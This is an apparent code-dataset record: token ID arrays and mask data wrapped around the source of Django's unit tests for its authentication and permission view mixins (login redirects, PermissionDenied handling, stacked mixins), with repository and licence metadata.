[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 17065, 701, 5634, 413, 14, 709, 14, 24, 641, 14894, 13, 845, 13, 1216, 1616, 26, 1153, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 504, 1639, 14, 697, 492, 6180, 12, 1709, 199, 646, 1639, 14, 697, 14, 992, 14, 14281, 199, 646, 562, 4348, 290, 1132, 14, 1018, 14, 955, 421, 199, 533, 12090, 8, 7685, 14, 9816, 304, 339, 5124, 275, 359, 267, 661, 10778, 297, 283, 9425, 63, 2168, 63, 1317, 63, 466, 63, 354, 659, 267, 661, 278, 4348, 290, 1132, 63, 643, 29162, 297, 283, 30963, 63, 2495, 63, 1797, 11782, 1479, 63, 713, 1276, 659, 267, 661, 9071, 13, 643, 29162, 297, 283, 30867, 63, 2495, 63, 1797, 2835, 8079, 63, 975, 1344, 659, 272, 1622, 339, 5331, 275, 359, 267, 6180, 14, 14907, 8, 288, 536, 534, 14451, 16867, 521, 2391, 2390, 297, 288, 1504, 1524, 355, 661, 344, 297, 1709, 14, 4378, 8, 2495, 63, 3966, 29, 549, 12, 5062, 63, 498, 29, 549, 12, 8437, 29, 797, 12, 3376, 63, 354, 534, 998, 3855, 355, 12331, 1648, 297, 562, 4348, 290, 1132, 14, 1018, 14, 955, 14, 26390, 8, 2307, 29, 549, 12, 3376, 63, 354, 534, 4738, 3855, 355, 661, 785, 63, 344, 297, 1709, 14, 8591, 8, 10820, 29, 797, 12, 2973, 29, 549, 12, 3376, 63, 354, 534, 2407, 909, 3855, 355, 661, 1317, 63, 466, 297, 1709, 14, 3190, 8, 2500, 29, 549, 12, 14783, 29, 797, 12, 2973, 29, 549, 12, 641, 63, 1807, 29, 1176, 14, 697, 14, 992, 14, 14281, 14, 10855, 12, 370, 534, 10778, 14, 11282, 297, 3376, 63, 354, 534, 1317, 730, 3855, 355, 661, 1430, 297, 1709, 14, 3190, 8, 2500, 29, 549, 12, 2973, 29, 549, 12, 641, 63, 1807, 29, 1176, 14, 697, 14, 992, 14, 14281, 14, 10855, 12, 4048, 63, 354, 534, 7764, 63, 3703, 521, 2391, 297, 370, 534, 278, 4348, 290, 1132, 63, 643, 29162, 14, 2390, 297, 3376, 63, 354, 534, 1430, 3855, 288, 2156, 288, 1511, 3126, 355, 283, 3832, 63, 354, 356, 283, 16867, 521, 2391, 297, 355, 283, 7128, 356, 12331, 1648, 5529, 288, 1660, 267, 2318, 272, 1622, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 17065, 701, 5634, 413, 14, 709, 14, 24, 641, 14894, 13, 845, 13, 1216, 1616, 26, 1153, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 504, 1639, 14, 697, 492, 6180, 12, 1709, 199, 646, 1639, 14, 697, 14, 992, 14, 14281, 199, 646, 562, 4348, 290, 1132, 14, 1018, 14, 955, 421, 199, 533, 12090, 8, 7685, 14, 9816, 304, 339, 5124, 275, 359, 267, 661, 10778, 297, 283, 9425, 63, 2168, 63, 1317, 63, 466, 63, 354, 659, 267, 661, 278, 4348, 290, 1132, 63, 643, 29162, 297, 283, 30963, 63, 2495, 63, 1797, 11782, 1479, 63, 713, 1276, 659, 267, 661, 9071, 13, 643, 29162, 297, 283, 30867, 63, 2495, 63, 1797, 2835, 8079, 63, 975, 1344, 659, 272, 1622, 339, 5331, 275, 359, 267, 6180, 14, 14907, 8, 288, 536, 534, 14451, 16867, 521, 2391, 2390, 297, 288, 1504, 1524, 355, 661, 344, 297, 1709, 14, 4378, 8, 2495, 63, 3966, 29, 549, 12, 5062, 63, 498, 29, 549, 12, 8437, 29, 797, 12, 3376, 63, 354, 534, 998, 3855, 355, 12331, 1648, 297, 562, 4348, 290, 1132, 14, 1018, 14, 955, 14, 26390, 8, 2307, 29, 549, 12, 3376, 63, 354, 534, 4738, 3855, 355, 661, 785, 63, 344, 297, 1709, 14, 8591, 8, 10820, 29, 797, 12, 2973, 29, 549, 12, 3376, 63, 354, 534, 2407, 909, 3855, 355, 661, 1317, 63, 466, 297, 1709, 14, 3190, 8, 2500, 29, 549, 12, 14783, 29, 797, 12, 2973, 29, 549, 12, 641, 63, 1807, 29, 1176, 14, 697, 14, 992, 14, 14281, 14, 10855, 12, 370, 534, 10778, 14, 11282, 297, 3376, 63, 354, 534, 1317, 730, 3855, 355, 661, 1430, 297, 1709, 14, 3190, 8, 2500, 29, 549, 12, 2973, 29, 549, 12, 641, 63, 1807, 29, 1176, 14, 697, 14, 992, 14, 14281, 14, 10855, 12, 4048, 63, 354, 534, 7764, 63, 3703, 521, 2391, 297, 370, 534, 278, 4348, 290, 1132, 63, 643, 29162, 14, 2390, 297, 3376, 63, 354, 534, 1430, 3855, 288, 2156, 288, 1511, 3126, 355, 283, 3832, 63, 354, 356, 283, 16867, 521, 2391, 297, 355, 283, 7128, 356, 12331, 1648, 5529, 288, 1660, 267, 2318, 272, 1622, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
frishberg/django
tests/auth_tests/test_mixins.py
12
8509
from django.contrib.auth import models from django.contrib.auth.mixins import ( LoginRequiredMixin, PermissionRequiredMixin, UserPassesTestMixin, ) from django.contrib.auth.models import AnonymousUser from django.core.exceptions import PermissionDenied from django.http import HttpResponse from django.test import RequestFactory, TestCase, mock from django.views.generic import View class AlwaysTrueMixin(UserPassesTestMixin): def test_func(self): return True class AlwaysFalseMixin(UserPassesTestMixin): def test_func(self): return False class EmptyResponseView(View): def get(self, request, *args, **kwargs): return HttpResponse() class AlwaysTrueView(AlwaysTrueMixin, EmptyResponseView): pass class AlwaysFalseView(AlwaysFalseMixin, EmptyResponseView): pass class StackedMixinsView1(LoginRequiredMixin, PermissionRequiredMixin, EmptyResponseView): permission_required = ['auth_tests.add_customuser', 'auth_tests.change_customuser'] raise_exception = True class StackedMixinsView2(PermissionRequiredMixin, LoginRequiredMixin, EmptyResponseView): permission_required = ['auth_tests.add_customuser', 'auth_tests.change_customuser'] raise_exception = True class AccessMixinTests(TestCase): factory = RequestFactory() def test_stacked_mixins_success(self): user = models.User.objects.create(username='joe', password='qwerty') perms = models.Permission.objects.filter(codename__in=('add_customuser', 'change_customuser')) user.user_permissions.add(*perms) request = self.factory.get('/rand') request.user = user view = StackedMixinsView1.as_view() response = view(request) self.assertEqual(response.status_code, 200) view = StackedMixinsView2.as_view() response = view(request) self.assertEqual(response.status_code, 200) def test_stacked_mixins_missing_permission(self): user = models.User.objects.create(username='joe', password='qwerty') perms = models.Permission.objects.filter(codename__in=('add_customuser',)) user.user_permissions.add(*perms) request = self.factory.get('/rand') request.user = user view = StackedMixinsView1.as_view() with self.assertRaises(PermissionDenied): view(request) view = StackedMixinsView2.as_view() with self.assertRaises(PermissionDenied): view(request) @mock.patch.object(models.User, 'is_authenticated', False) def test_stacked_mixins_not_logged_in(self): user = models.User.objects.create(username='joe', password='qwerty') perms = models.Permission.objects.filter(codename__in=('add_customuser', 'change_customuser')) user.user_permissions.add(*perms) request = self.factory.get('/rand') request.user = user view = StackedMixinsView1.as_view() with self.assertRaises(PermissionDenied): view(request) view = StackedMixinsView2.as_view() with self.assertRaises(PermissionDenied): view(request) class UserPassesTestTests(TestCase): factory = RequestFactory() def _test_redirect(self, view=None, url='/accounts/login/?next=/rand'): if not view: view = AlwaysFalseView.as_view() request = self.factory.get('/rand') request.user = AnonymousUser() response = view(request) self.assertEqual(response.status_code, 302) self.assertEqual(response.url, url) def test_default(self): self._test_redirect() def test_custom_redirect_url(self): class AView(AlwaysFalseView): login_url = '/login/' self._test_redirect(AView.as_view(), '/login/?next=/rand') def test_custom_redirect_parameter(self): class AView(AlwaysFalseView): redirect_field_name = 'goto' self._test_redirect(AView.as_view(), '/accounts/login/?goto=/rand') def test_no_redirect_parameter(self): class AView(AlwaysFalseView): redirect_field_name = None self._test_redirect(AView.as_view(), '/accounts/login/') def test_raise_exception(self): class AView(AlwaysFalseView): raise_exception = True request = self.factory.get('/rand') request.user = AnonymousUser() with self.assertRaises(PermissionDenied): AView.as_view()(request) def test_raise_exception_custom_message(self): msg = "You don't have access here" class AView(AlwaysFalseView): raise_exception = True permission_denied_message = msg request = self.factory.get('/rand') request.user = AnonymousUser() view = AView.as_view() with self.assertRaises(PermissionDenied) as cm: view(request) self.assertEqual(cm.exception.args[0], msg) def test_raise_exception_custom_message_function(self): msg = "You don't have access here" class AView(AlwaysFalseView): raise_exception = True def get_permission_denied_message(self): return msg request = self.factory.get('/rand') request.user = AnonymousUser() view = AView.as_view() with self.assertRaises(PermissionDenied) as cm: view(request) self.assertEqual(cm.exception.args[0], msg) def test_user_passes(self): view = AlwaysTrueView.as_view() request = self.factory.get('/rand') request.user = AnonymousUser() response = view(request) self.assertEqual(response.status_code, 200) class LoginRequiredMixinTests(TestCase): factory = RequestFactory() @classmethod def setUpTestData(cls): cls.user = models.User.objects.create(username='joe', password='qwerty') def test_login_required(self): """ login_required works on a simple view wrapped in a login_required decorator. """ class AView(LoginRequiredMixin, EmptyResponseView): pass view = AView.as_view() request = self.factory.get('/rand') request.user = AnonymousUser() response = view(request) self.assertEqual(response.status_code, 302) self.assertEqual('/accounts/login/?next=/rand', response.url) request = self.factory.get('/rand') request.user = self.user response = view(request) self.assertEqual(response.status_code, 200) class PermissionsRequiredMixinTests(TestCase): factory = RequestFactory() @classmethod def setUpTestData(cls): cls.user = models.User.objects.create(username='joe', password='qwerty') perms = models.Permission.objects.filter(codename__in=('add_customuser', 'change_customuser')) cls.user.user_permissions.add(*perms) def test_many_permissions_pass(self): class AView(PermissionRequiredMixin, EmptyResponseView): permission_required = ['auth_tests.add_customuser', 'auth_tests.change_customuser'] request = self.factory.get('/rand') request.user = self.user resp = AView.as_view()(request) self.assertEqual(resp.status_code, 200) def test_single_permission_pass(self): class AView(PermissionRequiredMixin, EmptyResponseView): permission_required = 'auth_tests.add_customuser' request = self.factory.get('/rand') request.user = self.user resp = AView.as_view()(request) self.assertEqual(resp.status_code, 200) def test_permissioned_denied_redirect(self): class AView(PermissionRequiredMixin, EmptyResponseView): permission_required = [ 'auth_tests.add_customuser', 'auth_tests.change_customuser', 'non-existent-permission', ] request = self.factory.get('/rand') request.user = self.user resp = AView.as_view()(request) self.assertEqual(resp.status_code, 302) def test_permissioned_denied_exception_raised(self): class AView(PermissionRequiredMixin, EmptyResponseView): permission_required = [ 'auth_tests.add_customuser', 'auth_tests.change_customuser', 'non-existent-permission', ] raise_exception = True request = self.factory.get('/rand') request.user = self.user with self.assertRaises(PermissionDenied): AView.as_view()(request)
bsd-3-clause
[ 504, 1639, 14, 2828, 14, 1178, 492, 1709, 199, 504, 1639, 14, 2828, 14, 1178, 14, 30192, 492, 334, 272, 16430, 8030, 4256, 12, 8779, 8030, 4256, 12, 2876, 48, 1916, 22060, 12, 199, 9, 199, 504, 1639, 14, 2828, 14, 1178, 14, 992, 492, 29952, 199, 504, 1639, 14, 1018, 14, 3924, 492, 23724, 199, 504, 1639, 14, 1014, 492, 6183, 199, 504, 1639, 14, 396, 492, 18638, 12, 7640, 12, 1683, 199, 504, 1639, 14, 4196, 14, 6767, 492, 10935, 421, 199, 533, 16763, 549, 4256, 8, 1899, 48, 1916, 22060, 304, 339, 347, 511, 63, 1532, 8, 277, 304, 267, 372, 715, 421, 199, 533, 16763, 797, 4256, 8, 1899, 48, 1916, 22060, 304, 339, 347, 511, 63, 1532, 8, 277, 304, 267, 372, 756, 421, 199, 533, 9630, 2364, 2768, 8, 2768, 304, 272, 347, 664, 8, 277, 12, 1056, 12, 627, 589, 12, 1011, 958, 304, 267, 372, 6183, 342, 421, 199, 533, 16763, 549, 2768, 8, 2439, 2885, 549, 4256, 12, 9630, 2364, 2768, 304, 272, 986, 421, 199, 533, 16763, 797, 2768, 8, 2439, 2885, 797, 4256, 12, 9630, 2364, 2768, 304, 272, 986, 421, 199, 533, 13894, 379, 18854, 3617, 2768, 17, 8, 8880, 8030, 4256, 12, 8779, 8030, 4256, 12, 9630, 2364, 2768, 304, 272, 4983, 63, 2427, 275, 788, 1178, 63, 2219, 14, 525, 63, 4229, 751, 297, 283, 1178, 63, 2219, 14, 1461, 63, 4229, 751, 418, 272, 746, 63, 1971, 275, 715, 421, 199, 533, 13894, 379, 18854, 3617, 2768, 18, 8, 7980, 8030, 4256, 12, 16430, 8030, 4256, 12, 9630, 2364, 2768, 304, 272, 4983, 63, 2427, 275, 788, 1178, 63, 2219, 14, 525, 63, 4229, 751, 297, 283, 1178, 63, 2219, 14, 1461, 63, 4229, 751, 418, 272, 746, 63, 1971, 275, 715, 421, 199, 533, 11003, 4256, 2925, 8, 1746, 304, 339, 6434, 275, 18638, 342, 339, 347, 511, 63, 27266, 63, 30192, 63, 3742, 8, 277, 304, 267, 922, 275, 1709, 14, 1899, 14, 1462, 14, 981, 8, 2473, 534, 20241, 297, 2505, 534, 81, 2135, 369, 358, 267, 17340, 275, 1709, 14, 7980, 14, 1462, 14, 1541, 8, 11879, 363, 262, 7782, 525, 63, 4229, 751, 297, 283, 1461, 63, 4229, 751, 1333, 267, 922, 14, 751, 63, 6060, 14, 525, 2031, 12068, 9, 267, 1056, 275, 291, 14, 3702, 14, 362, 2336, 3759, 358, 267, 1056, 14, 751, 275, 922, 398, 2455, 275, 13894, 379, 18854, 3617, 2768, 17, 14, 305, 63, 1345, 342, 267, 1177, 275, 2455, 8, 1069, 9, 267, 291, 14, 629, 8, 1310, 14, 1205, 63, 600, 12, 1926, 9, 398, 2455, 275, 13894, 379, 18854, 3617, 2768, 18, 14, 305, 63, 1345, 342, 267, 1177, 275, 2455, 8, 1069, 9, 267, 291, 14, 629, 8, 1310, 14, 1205, 63, 600, 12, 1926, 9, 339, 347, 511, 63, 27266, 63, 30192, 63, 4752, 63, 5693, 8, 277, 304, 267, 922, 275, 1709, 14, 1899, 14, 1462, 14, 981, 8, 2473, 534, 20241, 297, 2505, 534, 81, 2135, 369, 358, 267, 17340, 275, 1709, 14, 7980, 14, 1462, 14, 1541, 8, 11879, 363, 262, 7782, 525, 63, 4229, 751, 16829, 267, 922, 14, 751, 63, 6060, 14, 525, 2031, 12068, 9, 267, 1056, 275, 291, 14, 3702, 14, 362, 2336, 3759, 358, 267, 1056, 14, 751, 275, 922, 398, 2455, 275, 13894, 379, 18854, 3617, 2768, 17, 14, 305, 63, 1345, 342, 267, 543, 291, 14, 1855, 8, 7980, 15729, 304, 288, 2455, 8, 1069, 9, 398, 2455, 275, 13894, 379, 18854, 3617, 2768, 18, 14, 305, 63, 1345, 342, 267, 543, 291, 14, 1855, 8, 7980, 15729, 304, 288, 2455, 8, 1069, 9, 339, 768, 1805, 14, 2068, 14, 785, 8, 992, 14, 1899, 12, 283, 374, 63, 12177, 297, 756, 9, 272, 347, 511, 63, 27266, 63, 30192, 63, 1397, 63, 12419, 63, 262, 8, 277, 304, 267, 922, 275, 1709, 14, 1899, 14, 1462, 14, 981, 8, 2473, 534, 20241, 297, 2505, 534, 81, 2135, 369, 358, 267, 17340, 275, 1709, 14, 7980, 14, 1462, 14, 1541, 8, 11879, 363, 262, 7782, 525, 63, 4229, 751, 297, 283, 1461, 63, 4229, 751, 1333, 267, 922, 14, 751, 63, 6060, 14, 525, 2031, 12068, 9, 267, 1056, 275, 291, 14, 3702, 14, 362, 2336, 3759, 358, 267, 1056, 14, 751, 275, 922, 398, 2455, 275, 13894, 379, 18854, 3617, 2768, 17, 14, 305, 63, 1345, 342, 267, 543, 291, 14, 1855, 8, 7980, 15729, 304, 288, 2455, 8, 1069, 9, 398, 2455, 275, 13894, 379, 18854, 3617, 2768, 18, 14, 305, 63, 1345, 342, 267, 543, 291, 14, 1855, 8, 7980, 15729, 304, 288, 2455, 8, 1069, 9, 421, 199, 533, 2876, 48, 1916, 774, 2925, 8, 1746, 304, 339, 6434, 275, 18638, 342, 339, 347, 485, 396, 63, 4876, 8, 277, 12, 2455, 29, 403, 12, 1166, 8805, 8370, 15, 2886, 10197, 2184, 13043, 3759, 735, 267, 340, 440, 2455, 26, 288, 2455, 275, 16763, 797, 2768, 14, 305, 63, 1345, 342, 267, 1056, 275, 291, 14, 3702, 14, 362, 2336, 3759, 358, 267, 1056, 14, 751, 275, 29952, 342, 267, 1177, 275, 2455, 8, 1069, 9, 267, 291, 14, 629, 8, 1310, 14, 1205, 63, 600, 12, 11485, 9, 267, 291, 14, 629, 8, 1310, 14, 633, 12, 1166, 9, 339, 347, 511, 63, 885, 8, 277, 304, 267, 291, 423, 396, 63, 4876, 342, 339, 347, 511, 63, 4229, 63, 4876, 63, 633, 8, 277, 304, 267, 1021, 437, 2768, 8, 2439, 2885, 797, 2768, 304, 288, 4676, 63, 633, 275, 1994, 2886, 4805, 398, 291, 423, 396, 63, 4876, 8, 33, 2768, 14, 305, 63, 1345, 1062, 1994, 2886, 10197, 2184, 13043, 3759, 358, 339, 347, 511, 63, 4229, 63, 4876, 63, 5329, 8, 277, 304, 267, 1021, 437, 2768, 8, 2439, 2885, 797, 2768, 304, 288, 4660, 63, 698, 63, 354, 275, 283, 14867, 7, 398, 291, 423, 396, 63, 4876, 8, 33, 2768, 14, 305, 63, 1345, 1062, 1994, 8370, 15, 2886, 10197, 14867, 13043, 3759, 358, 339, 347, 511, 63, 889, 63, 4876, 63, 5329, 8, 277, 304, 267, 1021, 437, 2768, 8, 2439, 2885, 797, 2768, 304, 288, 4660, 63, 698, 63, 354 ]
